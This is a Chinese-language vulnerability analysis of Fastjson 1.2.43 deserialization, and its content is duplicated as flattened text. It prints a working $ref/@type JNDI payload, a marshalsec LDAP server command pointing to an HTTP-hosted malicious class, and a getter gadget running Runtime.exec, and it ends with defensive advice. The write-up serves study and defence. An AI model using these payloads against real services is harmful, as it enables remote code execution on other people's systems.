通过一个payload学习fastjson中的循环引用
字数 1223 2025-08-09 15:23:08

Fastjson循环引用($ref)漏洞分析与利用

前言

本文详细分析Fastjson中循环引用($ref)属性的利用方式,通过具体payload演示漏洞触发过程,帮助理解Fastjson反序列化漏洞中的这一特殊利用技巧。

环境准备

  • Fastjson版本: 1.2.43
  • JDK版本: 1.8.161
  • 测试工具:
    • marshalsec (搭建LDAP服务器)
    • Python简易HTTP服务器(托管恶意类)

漏洞Payload分析

基础Payload

String payload = "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\"," +
    "\"ResourceName\":\"ldap://127.0.0.1:1389/ldapServer\"," +
    "\"a\":{\"$ref\":\"$.instance\"}}";
JSON.parse(payload);

漏洞触发流程

  1. LDAP服务器设置:

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#ldapServer 1389
    
  2. HTTP服务器托管恶意类:

    • 在8000端口运行Python HTTP服务器
    • 托管ldapServer.class恶意类(实现弹计算器等恶意操作)

漏洞原理分析

Fastjson解析流程

  1. parse入口:

    • 解析JSON字符串时,Fastjson会处理@type指定的类
    • 对类属性进行反序列化操作
  2. handleResovleTask处理:

    • 解析过程中会维护resolveTaskList
    • 通过addResolveTask函数添加解析任务
  3. parseField处理:

    • 当解析到字段时,会检查类中是否存在该字段
    • 如果字段不存在,进入parseExtra处理

循环引用($ref)的特殊处理

  1. $ref语法识别:

    • 当解析到{时,token赋值为12
    • 进入parseObject处理对象
  2. $ref键值解析:

    • 识别到$ref作为key
    • ref值为$.instance(指向目标属性)
  3. JSONPath.eval调用:

    • 通过JSONPath表达式解析引用路径
    • 最终触发目标类的getter方法

关键触发点

  1. getJavaBeanSerializer处理:

    • 根据传入类获取类中的方法
    • 识别"get"开头的方法并加入getters集合
  2. getFieldValue调用:

    • 通过propertyNameHash定位字段
    • 最终调用对应的getter方法
  3. getInstance触发:

    • 对于JndiObjectFactory类,调用getInstance方法
    • 触发lookup操作,加载远程恶意类

通用利用模式

该技术不仅限于特定类,可以应用于任何具有危险getter方法的类:

public class TestObject {
    public String getHaha() throws IOException {
        Runtime.getRuntime().exec("calc");
        return "1";
    }
}

利用Payload:

String payload = "{\"@type\":\"TestObject\",\"haha\":{\"$ref\":\"$.Haha\"}}";
JSON.parse(payload);

防御建议

  1. 升级Fastjson:

    • 使用最新版本Fastjson,已修复已知漏洞
  2. 安全配置:

    • 使用SafeMode防止任意类反序列化
    • 配置ParserConfig限制可反序列化的类
  3. 输入过滤:

    • 对JSON输入中的@type$ref进行过滤
    • 避免解析不可信的JSON数据

总结

Fastjson的循环引用($ref)特性通过JSONPath表达式可以触发特定类的getter方法,结合@type指定恶意类,可导致远程代码执行。理解这一机制有助于更好地防御Fastjson反序列化漏洞。

Fastjson循环引用($ref)漏洞分析与利用 前言 本文详细分析Fastjson中循环引用($ref)属性的利用方式,通过具体payload演示漏洞触发过程,帮助理解Fastjson反序列化漏洞中的这一特殊利用技巧。 环境准备 Fastjson版本 : 1.2.43 JDK版本 : 1.8.161 测试工具 : marshalsec (搭建LDAP服务器) Python简易HTTP服务器(托管恶意类) 漏洞Payload分析 基础Payload 漏洞触发流程 LDAP服务器设置 : HTTP服务器托管恶意类 : 在8000端口运行Python HTTP服务器 托管 ldapServer.class 恶意类(实现弹计算器等恶意操作) 漏洞原理分析 Fastjson解析流程 parse入口 : 解析JSON字符串时,Fastjson会处理 @type 指定的类 对类属性进行反序列化操作 handleResovleTask处理 : 解析过程中会维护 resolveTaskList 通过 addResolveTask 函数添加解析任务 parseField处理 : 当解析到字段时,会检查类中是否存在该字段 如果字段不存在,进入 parseExtra 处理 循环引用($ref)的特殊处理 $ref语法识别 : 当解析到 { 时,token赋值为12 进入 parseObject 处理对象 $ref键值解析 : 识别到 $ref 作为key ref值为 $.instance (指向目标属性) JSONPath.eval调用 : 通过JSONPath表达式解析引用路径 最终触发目标类的getter方法 关键触发点 getJavaBeanSerializer处理 : 根据传入类获取类中的方法 识别"get"开头的方法并加入getters集合 getFieldValue调用 : 通过 propertyNameHash 定位字段 最终调用对应的getter方法 getInstance触发 : 对于 JndiObjectFactory 类,调用 getInstance 方法 触发 lookup 操作,加载远程恶意类 通用利用模式 该技术不仅限于特定类,可以应用于任何具有危险getter方法的类: 利用Payload: 防御建议 升级Fastjson : 使用最新版本Fastjson,已修复已知漏洞 安全配置 : 使用 SafeMode 防止任意类反序列化 配置 ParserConfig 限制可反序列化的类 输入过滤 : 对JSON输入中的 @type 和 $ref 进行过滤 避免解析不可信的JSON数据 总结 Fastjson的循环引用($ref)特性通过JSONPath表达式可以触发特定类的getter方法,结合 @type 指定恶意类,可导致远程代码执行。理解这一机制有助于更好地防御Fastjson反序列化漏洞。